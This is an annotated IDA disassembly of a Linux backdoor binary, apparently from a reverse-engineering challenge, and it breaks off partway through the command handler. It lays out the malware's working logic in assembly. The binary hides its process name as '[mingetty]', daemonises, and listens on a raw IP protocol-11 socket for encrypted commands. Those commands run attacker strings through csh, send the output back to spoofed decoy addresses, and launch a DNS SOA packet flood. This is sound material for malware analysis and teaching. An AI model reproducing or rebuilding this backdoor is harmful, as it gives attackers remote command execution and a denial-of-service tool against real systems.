; [00000024 BYTES. COLLAPSED STRUCT tm.	PRESS KEYPAD "+" TO EXPAND]
; [00000004 BYTES. COLLAPSED STRUCT in_addr. PRESS KEYPAD "+" TO EXPAND]
; [00000010 BYTES. COLLAPSED STRUCT sockaddr. PRESS KEYPAD "+" TO EXPAND]
; [00000004 BYTES. COLLAPSED STRUCT sigaction::$A5577D5716C8E13BE41546B4B7DD9C1A. PRESS	KEYPAD "+" TO EXPAND]
; [00000010 BYTES. COLLAPSED STRUCT sigaction. PRESS KEYPAD "+"	TO EXPAND]
; [00000014 BYTES. COLLAPSED STRUCT hostent. PRESS KEYPAD "+" TO EXPAND]
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

ip_paquet struc	; (sizeof=0x29,	variable size) ; XREF: f_main+25t f_main+31t ...
version_length db ?
tos	  db ?
total_length dw	?
id	  dw ?
fragmentation dw ?
ttl	  db ?
protocol  db ?
checksum  dw ?
source_ip dd ?				; XREF:	f_send_backdoor_reply+5Et
					; f_send_backdoor_reply+64t ...
destination_ip dd ?			; XREF:	f_main+2C9t f_main+2D5t ...
payload	  ip_paquet_payload ?
ip_paquet ends

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

ip_paquet_payload union	; (sizeof=0x15,	variable size) ; XREF: f_send_dns+23Ar
					; f_send_dns+243r ...
payload	  db ?
udp	  udp_datagram_s ?
icmp	  icmp_datagram_s ?
tcp	  tcp_segment_s	?
ip_paquet_payload ends

; [00000015 BYTES. COLLAPSED STRUCT tcp_segment_s. PRESS KEYPAD	"+" TO EXPAND]
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

udp_datagram_s struc ; (sizeof=0x9)	; XREF:	f_send_dns_SOA+227r
					; f_send_dns_SOA+238r ...
source_port dw ?			; seg
destination_port dw ?
length	  dw ?
checksum  dw ?
payload	  db ?
udp_datagram_s ends

; [00000005 BYTES. COLLAPSED STRUCT icmp_datagram_s. PRESS KEYPAD "+" TO EXPAND]
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

recv_backdoor_s	struc ;	(sizeof=0x190)	; XREF:	f_main+2BCr f_main+430r ...
	  db ? ; undefined
command	  db ?
payload	  recv_backdoor_payload_u ?
recv_backdoor_s	ends

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

recv_backdoor_payload_u	union ;	(sizeof=0x18e) ; XREF: 0:FF001260r
configure recv_backdoor_payload_configure_s ?
cshoutput recv_backdoor_payload_cshoutput_s ?
recv_backdoor_payload_u	ends

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

recv_backdoor_payload_configure_s struc	; (sizeof=0x5) ; XREF: 0:FF00125Fr
use_decoys db ?
destination_ip dd ?
recv_backdoor_payload_configure_s ends

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

recv_backdoor_payload_cshoutput_s struc	; (sizeof=0x18e) ; XREF: 0:FF001272r
csh_command_line db 398	dup(?)
recv_backdoor_payload_cshoutput_s ends

; [00000010 BYTES. COLLAPSED STRUCT sockaddr_in. PRESS KEYPAD "+" TO EXPAND]
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

dns_request_s struc ; (sizeof=0x32)	; XREF:	f_send_dns_SOA+1D7r
					; f_send_dns_SOA+1ECt ...
identification dw ?			; XREF:	f_send_dns_SOA+1ECt
					; f_send_dns+208t
flags	  dw ?				; base 2
questions_count	dw ?
answers_count dw ?
authoritary_RRs_count dw ?
supplementary_RRs_count	dw ?
question_size db ?
question  db 37	dup(?)			; string(C)
dns_request_s ends

; [00000004 BYTES. COLLAPSED STRUCT ip_addr_s. PRESS KEYPAD "+"	TO EXPAND]
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

; enum socketcall_e
SYS_SOCKET  = 1
SYS_BIND   = 2
SYS_CONNECT  = 3
SYS_LISTEN  = 4
SYS_ACCEPT  = 5
SYS_GETSOCKNAME	 = 6
SYS_GETPEERNAME	 = 7
SYS_SOCKETPAIR	= 8
SYS_SEND   = 9
SYS_RECV   = 0Ah
SYS_SENDTO  = 0Bh
SYS_RECVFROM  =	0Ch
SYS_SHUTDOWN  =	0Dh
SYS_SETSOCKOPT	= 0Eh
SYS_GETSOCKOPT	= 0Fh
SYS_SENDMSG  = 10h
SYS_RECVMSG  = 11h

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

; enum sock_type_e
SOCK_STREAM  = 1
SOCK_DGRAM  = 2
SOCK_RAW   = 3

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

; enum sock_domain_e
AF_INET	   = 2

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

; enum sock_protocol_e
IPPROTO_IP  = 0
IPPROTO_ICMP  =	1
IPPROTO_TCP  = 6
IPPROTO_backdoor_recv  = 0Bh
IPPROTO_UDP  = 11h
IPPROTO_backdoor_send  = 0FFh

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

; enum sock_paquet_e
HEADER_IP_PROTOCOL  = 9

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

; enum decoys_e
USE_USER_DECOYS	 = 2

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

; enum BACKDOOR_MINIMAL_SIZE_E
BACKDOOR_MINIMAL_SIZE  = 0C9h

;
; ЙННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН»
; є	This file is generated by The Interactive Disassembler (IDA)	    є
; є	Copyright (c) 2002 by DataRescue sa/nv,	<ida@datarescue.com>	    є
; є    Licensed	to: DataRescue - internal usage, 1 user, adv, 06/05/2001    є
; ИНННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННј
;
; File Name   :	C:\the-binary
; Format      :	ELF (Executable)
; 


unicode		macro page,string,zero
	  irpc c,<string>
	  db '&c', page
	  endm
	  ifnb <zero>
	  dw zero
	  endif
endm

	  model	flat

; ННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

; Segment type:	Pure code
; Segment permissions: Read/Execute
_init	  segment para public 'CODE' use32
	  assume cs:_init
	  ;org 8048080h
	  assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ


	  public _init_proc
_init_proc proc	near			; CODE XREF: start+51p
	  call	sub_80675A8
	  retn	0
_init_proc endp

_init	  ends

; ННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННННН

; Segment type:	Pure code
; Segment permissions: Read/Execute
_text	  segment para public 'CODE' use32
	  assume cs:_text
	  ;org 8048090h
	  assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; Attributes: bp-based frame

	  public start
start	  proc near

var_C	  = dword ptr -0Ch

	  pop	ecx
	  mov	ebx, esp		; ebx <- esp
	  mov	eax, esp		; eax <- esp
	  mov	edx, ecx		; edx <- eip
	  add	edx, edx
	  add	edx, edx		; edx *	4
	  add	eax, edx		; eax <- eax + edx
	  add	eax, 4			; eax +	4
	  xor	ebp, ebp		; ebp <- 0
	  push	ebp			; push 0
	  push	ebp			; push 0
	  push	ebp			; push 0
	  mov	ebp, esp		; ebp <- esp
	  push	eax			; flags
	  push	ebx			; prot
	  push	ecx			; //? strange manipulations with EIP and ESP pointers
	  mov	eax, 136
	  mov	ebx, 0
	  int	80h			; LINUX	- sys_personality
	  mov	eax, [esp+14h+var_C]
	  mov	envp, eax
	  movzx	eax, word_8078B18
	  push	eax			; addr
	  call	___setfpucw		; //? strange tiny function with math coprocessor instructions
	  add	esp, 4
	  call	___libc_init		; //? strange function
	  push	offset _term_proc	; func
	  call	_atexit			; //? tiny function calling lots of others functions
	  add	esp, 4
	  call	_init_proc
	  call	f_main			; complex main function
	  push	eax			; status
	  call	_exit			; execute some manipulations and terminate the program
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  db  5Bh ; [
	  db  8Dh ; Ќ
	  db 0B4h ; ґ
	  db  26h ; &
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db  8Dh ; Ќ
	  db 0B4h ; ґ
	  db  26h ; &
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
	  db	0 ;  
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

end_loop_infinite:			; CODE XREF: start+77j
	  mov	eax, 1
	  int	80h			; LINUX	- sys_exit
	  jmp	short end_loop_infinite
start	  endp

; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	8
; [0000001E BYTES: COLLAPSED FUNCTION f_called_by_term_proc. PRESS KEYPAD "+" TO EXPAND]
	  align	4
	  retn
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

; ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ S U B	R O U T	I N E ЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫЫ

; complex main function
; Attributes: bp-based frame

f_main	  proc near			; CODE XREF: start+56p

tmp_rand_255= dword ptr	-44F0h		; //? stored but unused
random_edi= dword ptr -44ECh
p_string_command= dword	ptr -44E8h
p_decoys  = dword ptr -44E4h
p_tmp2	  = dword ptr -44E0h
file_handle= dword ptr -44DCh
p_raw_paquet_payload_2=	dword ptr -44D8h
p_raw_paquet_payload= dword ptr	-44D4h
p_raw_paquet_0=	dword ptr -44D0h
fd	  = dword ptr -44CCh
socket	  = dword ptr -44C8h
addrlen	  = dword ptr -44C4h
optval	  = dword ptr -44C0h
tmp4	  = byte ptr -44BCh
buf	  = byte ptr -43BCh
addr	  = sockaddr ptr -11D8h
shell_addr= sockaddr_in	ptr -11C8h
decoys	  = dword ptr -11B8h
tmp3	  = byte ptr -1190h
tmp2	  = recv_backdoor_s ptr	-1000h
tmp1	  = byte ptr -800h
arg_4	  = dword ptr  0Ch
arg_7F8	  = byte ptr  800h
arg_FEB	  = byte ptr  0FF3h
arg_FF5	  = byte ptr  0FFDh
arg_FF6	  = byte ptr  0FFEh
arg_FF7	  = byte ptr  0FFFh
arg_FF8	  = byte ptr  1000h
arg_43B4  = byte ptr  43BCh
arg_44A5  = byte ptr  44ADh
arg_44A6  = byte ptr  44AEh
arg_44A7  = byte ptr  44AFh
arg_44AB  = byte ptr  44B3h
arg_44B4  = byte ptr  44BCh

	  push	ebp
	  mov	ebp, esp
	  sub	esp, 44F0h
	  push	edi
	  push	esi
	  push	ebx
	  mov	ebx, [ebp+arg_4]
	  mov	[ebp+optval], 1
	  lea	edx, [ebp+tmp1]		; build	casted pointers	on the tmp1 buffer
	  mov	[ebp+p_raw_paquet_0], edx
	  lea	ecx, [ebp+tmp1+ip_paquet.payload]
	  mov	[ebp+p_raw_paquet_payload], ecx
	  lea	edx, [ebp+tmp1+ip_paquet.payload+2]
	  mov	[ebp+p_raw_paquet_payload_2], edx
	  mov	[ebp+addrlen], 16
	  call	___geteuid
	  test	eax, eax
	  jz	short is_root		; if (eax == 0)
	  push	0FFFFFFFFh		; status
	  call	_exit			; execute some manipulations and terminate the program
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  nop

is_root:				; CODE XREF: f_main+4Ej
	  mov	edx, [ebx]		; edx <- [argv_4]
	  xor	al, al			; al <-	0
	  mov	edi, edx		; edi <- [argv_4]
	  cld
	  mov	ecx, 0FFFFFFFFh
	  repne	scasb
	  mov	eax, ecx
	  not	eax
	  dec	eax			; eax <- strlen(argv_4)
	  push	eax			; push strlen(argv4)
	  push	0			; int
	  push	edx			; push [argv_4]
	  call	_memset			; //? libc
	  mov	edx, [ebx]
	  mov	eax, dword ptr ds:aMingetty ; "[mingetty]"
	  mov	[edx], eax
	  mov	eax, dword ptr ds:aMingetty+4
	  mov	[edx+4], eax
	  mov	ax, word ptr ds:aMingetty+8
	  mov	[edx+8], ax
	  mov	al, byte ptr ds:aMingetty+0Ah
	  mov	[edx+0Ah], al
	  push	1			; _sig_func_ptr
	  push	11h			; int
	  call	_signal
	  call	___fork
	  add	esp, 14h
	  test	eax, eax
	  jz	short child1
	  push	0			; status
	  call	_exit			; execute some manipulations and terminate the program
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД

child1:					; CODE XREF: f_main+ABj
	  call	___libc_setsid
	  push	1			; _sig_func_ptr
	  push	11h			; int
	  call	_signal
	  call	___fork
	  add	esp, 8
	  test	eax, eax
	  jz	short child2
	  push	0			; status
	  call	_exit			; execute some manipulations and terminate the program
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  lea	esi, [esi+0]

child2:					; CODE XREF: f_main+CCj
	  push	offset filesystem_root_directory ; filename
	  call	___chdir		; chdir("/")
	  push	0			; fd
	  call	___close		; close(stdin)
	  push	1			; fd
	  call	___close		; close(stdout)
	  push	2			; fd
	  call	___close		; close(stderr)
	  mov	ds:pid_current_task, 0	; PID of a forked task
	  mov	ds:pid,	0
	  mov	ds:current_task_plus_1,	0 ; contain the	current	task number (+1)
	  push	0
	  call	___libc_time
	  add	esp, 14h
	  push	eax
	  call	___srandom
	  add	esp, 4
	  push	IPPROTO_backdoor_recv	; protocol
	  push	SOCK_RAW		; type
	  push	AF_INET			; domain
	  call	_socket
	  mov	[ebp+socket], eax
	  push	1			; _sig_func_ptr
	  push	1			; //? signal
	  call	_signal
	  push	1			; _sig_func_ptr
	  push	15			; //? signal
	  call	_signal
	  push	1			; _sig_func_ptr
	  push	17			; //? signal
	  call	_signal
	  add	esp, 24h
	  push	1			; _sig_func_ptr
	  push	17			; //? signal
	  call	_signal
	  add	esp, 8
	  lea	ecx, [ebp+tmp2]
	  mov	[ebp+p_tmp2], ecx
	  lea	edx, [ebp+decoys]
	  mov	[ebp+p_decoys],	edx
	  nop

infinite_loop:				; CODE XREF: f_main+D91j
	  push	0			; flags
	  push	2048			; len
	  lea	eax, [ebp+tmp1]
	  push	eax			; buf
	  mov	ecx, [ebp+socket]
	  push	ecx			; s
	  call	_recv
	  mov	esi, eax		; esi =	number of received bytes
	  add	esp, 10h
	  mov	edx, [ebp+p_raw_paquet_0]
	  cmp	[edx+ip_paquet.protocol], 0Bh
	  jnz	loop_end		; default
	  mov	ecx, [ebp+p_raw_paquet_payload]
	  cmp	byte ptr [ecx],	2	; signature for	received packets
	  jnz	loop_end		; default
	  cmp	esi, 200		; if (received_bytes <=	200)
	  jle	loop_end		; default
	  mov	edx, [ebp+p_tmp2]
	  push	edx			; p_destination
	  mov	ecx, [ebp+p_raw_paquet_payload_2]
	  push	ecx			; p_source
	  lea	eax, [esi-22]		; received_bytes - 22
	  push	eax			; size
	  call	f_decrypt		; decrypt p_source to p_destination
	  add	esp, 0Ch
	  movzx	eax, [ebp+tmp2.command]
	  dec	eax
	  cmp	eax, 11			; switch 12 cases 
	  ja	loop_end		; default
	  jmp	dword ptr ds:switch[eax*4] ; switch jump
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
switch:					; DATA XREF: f_main+1F1r
	  dd offset case_0		; jump table for switch	statement
	  dd offset case_1
	  dd offset case_2
	  dd offset case_3
	  dd offset case_4
	  dd offset case_5
	  dd offset case_6
	  dd offset case_7
	  dd offset case_8
	  dd offset case_9
	  dd offset case_A
	  dd offset case_B
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
-----------------------------------------------------------------------------------------------------------------------------

case_0:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  mov	al, ds:null_byte	; case 0x0: return informations	on child process and number of the next	command
	  mov	[ebp+tmp1], al
	  mov	eax, ds:dword_807E77C	; //? used to fill a outgoing packet
	  mov	[ebp+tmp1], al
	  mov	[ebp+tmp1+1], 1		; signatures for the answer packet
	  mov	[ebp+tmp1+2], 7
	  cmp	ds:pid_current_task, 0	; PID of a forked task
	  jz	short no_bind_shell
	  mov	[ebp+tmp1+3], 1
	  mov	eax, ds:current_task_plus_1 ; contain the current task number (+1)
	  mov	[ebp+tmp1+4], al
	  jmp	short loc_80483A7	; edx <- encrypted_paquet
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

no_bind_shell:				; CODE XREF: f_main+254j
	  mov	[ebp+tmp1+3], 0

loc_80483A7:				; CODE XREF: f_main+268j
	  mov	edx, [ebp+p_tmp2]	; edx <- encrypted_paquet
	  push	edx			; p_destination
	  lea	eax, [ebp+tmp1]		; eax <- built paquet
	  push	eax			; p_source
	  push	400			; size
	  call	f_encrypt
	  call	_rand
	  mov	ecx, BACKDOOR_MINIMAL_SIZE
	  cdq
	  idiv	ecx
	  mov	ebx, edx		; ebx <- rand()	% 201
	  lea	eax, [ebx+400]		; eax <- ebx + 400
	  push	eax			; size
	  mov	edx, [ebp+p_tmp2]	; edx <- encrypted_paquet
	  push	edx			; p_string_command
	  mov	ecx, [ebp+p_decoys]
	  push	ecx			; p_destination_ips
	  call	f_send_backdoor_reply_with_decoys ; called by case 0, 2
	  add	esp, 18h
	  jmp	loop_end		; default
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
-----------------------------------------------------------------------------------------------------------------------------

case_1:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  movzx	edx, [ebp+tmp2.payload.configure.use_decoys] ; case 0x1: configure client destination IP and decoys
received backdoor (encrypted) payload:
?? <cmd> <use decoys> <destination ip1>
<destination ip2> <destination ip3> <destination ip4>
	  mov	ds:b_use_decoys, edx
	  mov	al, [ebp+tmp1+ip_paquet.destination_ip]
	  mov	ds:p_backdoor_source_ip, al
	  mov	al, [ebp+tmp1+ip_paquet.destination_ip+1]
	  mov	ds:p_backdoor_source_ip+1, al
	  mov	al, [ebp+tmp1+ip_paquet.destination_ip+2]
	  mov	ds:p_backdoor_source_ip+2, al
	  mov	al, [ebp+tmp1+ip_paquet.destination_ip+3]
	  mov	ds:p_backdoor_source_ip+3, al
	  push	0
	  call	___libc_time
	  add	esp, 4
	  push	eax
	  call	___srandom
	  add	esp, 4
	  call	_rand
	  mov	ecx, 10
	  cdq
	  idiv	ecx
	  mov	edi, edx		; edi <- rand()	% 10 =>	edi = random offset to the true	IP of the client
	  xor	ebx, ebx		; ebx <- 0 (decoys counter)
	  xor	esi, esi		; esi <- 0 (offset in p_decoys array)
	  nop

loop:					; CODE XREF: f_main+3FEj
	  cmp	ebx, edi		; bug: if user decoys &	random edi = offset of our real	ip in decoy list => our	IP not in backdoor's list
	  jz	loop_end_test
	  cmp	ds:b_use_decoys, USE_USER_DECOYS
	  jnz	short decoys_random
	  mov	al, byte ptr [ebp+ebx*4+tmp2.payload.configure.destination_ip] ; take ips from the configuration packet
	  mov	edx, [ebp+p_decoys]
	  mov	[edx+esi], al
	  mov	al, byte ptr [ebp+ebx*4+tmp2.payload.configure.destination_ip+1]
	  mov	[esi+edx+1], al
	  mov	al, byte ptr [ebp+ebx*4+tmp2.payload.configure.destination_ip+2]
	  mov	[esi+edx+2], al
	  mov	al, byte ptr [ebp+ebx*4+tmp2.payload.configure.destination_ip+3]
memcpy(p_decoys[esi/4],	...destination_ip, 4);
	  jmp	loc_8048527
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

decoys_random:				; CODE XREF: f_main+32Fj
	  call	_rand
	  mov	[ebp+tmp_rand_255], eax	; //? stored but unused
	  test	eax, eax
	  jge	short eax_not_0_1
	  lea	ecx, [eax+255]
	  mov	[ebp+tmp_rand_255], ecx	; //? stored but unused

eax_not_0_1:				; CODE XREF: f_main+371j
	  mov	edx, [ebp+p_decoys]
	  mov	[esi+edx], al
	  call	_rand
	  mov	[ebp+tmp_rand_255], eax	; //? stored but unused
	  test	eax, eax
	  jge	short eax_not_0_2
	  lea	ecx, [eax+255]
	  mov	[ebp+tmp_rand_255], ecx	; //? stored but unused

eax_not_0_2:				; CODE XREF: f_main+395j
	  mov	edx, [ebp+p_decoys]
	  mov	[esi+edx+1], al
	  call	_rand
	  mov	[ebp+tmp_rand_255], eax	; //? stored but unused
	  test	eax, eax
	  jge	short eax_not_0_3
	  lea	ecx, [eax+255]
	  mov	[ebp+tmp_rand_255], ecx	; //? stored but unused

eax_not_0_3:				; CODE XREF: f_main+3BAj
	  mov	edx, [ebp+p_decoys]
	  mov	[esi+edx+2], al
	  call	_rand
	  mov	[ebp+tmp_rand_255], eax	; //? stored but unused
	  test	eax, eax
	  jge	short eax_not_0_4
	  lea	ecx, [eax+255]
	  mov	[ebp+tmp_rand_255], ecx	; //? stored but unused
p_decoys[esi/4]	= ramdom ip

eax_not_0_4:				; CODE XREF: f_main+3DFj
	  mov	edx, [ebp+p_decoys]

loc_8048527:				; CODE XREF: f_main+35Ej
	  mov	[esi+edx+3], al

loop_end_test:				; CODE XREF: f_main+322j
	  add	esi, 4
	  inc	ebx
	  cmp	ebx, 9
	  jle	loop			; bug: if user decoys &	random edi = offset of our real	ip in decoy list => our	IP not in backdoor's list
	  mov	eax, ds:b_use_decoys
	  test	eax, eax
	  jnz	short use_decoys	; decoys != 0
	  xor	edi, edi		; edi <- 0

use_decoys:				; CODE XREF: f_main+40Bj
	  cmp	eax, USE_USER_DECOYS
	  jz	loop_end		; default
	  shl	edi, 2			; 4 * edi
	  mov	[ebp+random_edi], edi
	  mov	al, byte ptr [ebp+tmp2.payload.configure.destination_ip]
	  mov	ecx, [ebp+p_decoys]
	  mov	[edi+ecx], al
	  mov	al, byte ptr [ebp+tmp2.payload.configure.destination_ip+1]
	  mov	edx, [ebp+random_edi]
	  mov	[edx+ecx+1], al
	  mov	al, byte ptr [ebp+tmp2.payload.configure.destination_ip+2]
	  mov	[edx+ecx+2], al
	  mov	al, byte ptr [ebp+tmp2.payload.configure.destination_ip+3]
	  mov	[edx+ecx+3], al
memcpy(p_decoys[edi shl	USE_RANDOM_DECOYS], ...destination_ip, 4);
	  jmp	loop_end		; default
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4
-----------------------------------------------------------------------------------------------------------------------------

case_2:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  call	___fork			; case 0x2: wait a string, run it using	csh, and send the resulting lines
	  mov	ds:pid,	eax
	  test	eax, eax
	  jnz	loop_end		; default
	  call	___libc_setsid
	  push	1			; _sig_func_ptr
	  push	17			; int
	  call	_signal
	  call	___fork
	  add	esp, 8
	  test	eax, eax
	  jz	short child_child
	  push	10			; seconds
	  call	_sleep
	  push	9			; sig
	  mov	eax, ds:pid
	  push	eax			; pid
	  call	___kill
	  push	0			; status
	  call	_exit			; execute some manipulations and terminate the program
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  nop

child_child:				; CODE XREF: f_main+486j
	  xor	ebx, ebx
	  lea	esi, [esi]

loop_shift_command1:			; CODE XREF: f_main+4BDj
	  mov	al, byte ptr [ebx+ebp+tmp2.payload]
	  mov	byte ptr [ebx+ebp+tmp2], al
	  inc	ebx
	  cmp	ebx, 397
	  jle	short loop_shift_command1
	  push	offset aTmp_hj237349	; push temporary filename
	  mov	ecx, [ebp+p_tmp2]
	  push	ecx			; push user command
	  push	offset aBinCshFCS1S21	; format
	  lea	ebx, [ebp+tmp1]
	  push	ebx			; str
	  call	__IO_sprintf
	  push	ebx			; string
	  call	_system
	  push	offset aRb		; "rb"
	  push	offset aTmp_hj237349	; "/tmp/.hj237349"
	  call	__IO_fopen
	  mov	[ebp+file_handle], eax
	  add	esp, 1Ch
	  test	eax, eax
	  jz	case_2_end
	  xor	edi, edi		; edi <- 0
	  lea	edx, [ebp+tmp3]
	  mov	[ebp+p_string_command],	edx

loop_fread:				; CODE XREF: f_main+5BFj
	  mov	ecx, [ebp+file_handle]
	  push	ecx
	  push	398
	  push	1
	  lea	eax, [ebp+tmp1]
	  push	eax
	  call	__IO_fread
	  mov	esi, eax
	  mov	[esi+ebp+tmp1],	0	; end of current read block = 0
	  xor	ebx, ebx
	  add	esp, 10h
	  lea	esi, [esi+0]

loop_shift_command2:			; CODE XREF: f_main+551j
	  mov	al, [ebx+ebp+tmp1]
	  mov	byte ptr [ebx+ebp+tmp2.payload], al
	  inc	ebx
	  cmp	ebx, 397
	  jle	short loop_shift_command2
	  test	edi, edi
	  jnz	short never_true	; //? unjumped (edi always = 0)
	  mov	[ebp+tmp2.command], 3
	  mov	edi, 1
	  jmp	short loc_80486A3
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  align	4

never_true:				; CODE XREF: f_main+555j
	  mov	[ebp+tmp2.command], 4	; //? unjumped (edi always = 0)

loc_80486A3:				; CODE XREF: f_main+563j
	  mov	edx, [ebp+p_string_command]
	  push	edx			; p_destination
	  mov	ecx, [ebp+p_tmp2]
	  push	ecx			; p_source
	  push	400			; size
	  call	f_encrypt
	  call	_rand
	  mov	ecx, BACKDOOR_MINIMAL_SIZE
	  cdq
	  idiv	ecx
	  mov	ebx, edx
	  lea	eax, [ebx+400]
	  push	eax			; size
	  mov	edx, [ebp+p_string_command]
	  push	edx			; p_string_command
	  mov	ecx, [ebp+p_decoys]
	  push	ecx			; p_destination_ips
	  call	f_send_backdoor_reply_with_decoys ; called by case 0, 2
	  push	400000
	  call	_usleep
	  add	esp, 1Ch
	  test	esi, esi
	  jnz	loop_fread
	  mov	edx, [ebp+file_handle]
	  push	edx
	  call	__IO_fclose
	  push	offset aTmp_hj237349	; path
	  call	___libc_unlink
	  add	esp, 8

case_2_end:				; CODE XREF: f_main+4FCj
	  push	0			; status
	  call	__exit
; ДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД
	  lea	esi, [esi+0]
-----------------------------------------------------------------------------------------------------------------------------

case_3:					; CODE XREF: f_main+1F1j
					; DATA XREF: f_main+1F8o
	  cmp	ds:pid_current_task, 0	; case 0x3: send an infinite number of DNS paquets (SOA)
	  jnz	loop_end		; default
	  mov	ds:current_task_plus_1,	4 ; contain the	current	task number (+1)
	  call	___fork
	  mov	ds:pid_current_task, eax ; PID of a forked task
	  test	eax, eax
	  jnz	loop_end		; default
	  lea	edi, [ebp+tmp4]
	  lea	esi, [ebp+tmp2]
	  cld
	  mov	ecx, 63
	  repe movsd
	  movsw
	  movsb
	  xor	ebx, ebx		; ebx <- 0
	  lea	esi, [esi]

loop_shift_tmp4:			; CODE XREF: f_main+641j
	  mov	al, [ebx+ebp+tmp4+9]
	  mov	[ebx+ebp+tmp4],	al
	  inc	ebx
	  cmp	ebx, 254
	  jle	short loop_shift_tmp4
	  lea	eax, [ebp+tmp4]
	  push	eax			; hostname
	  movzx	eax, byte ptr [ebp+tmp2.payload+6]
	  push	eax			; use_hostname
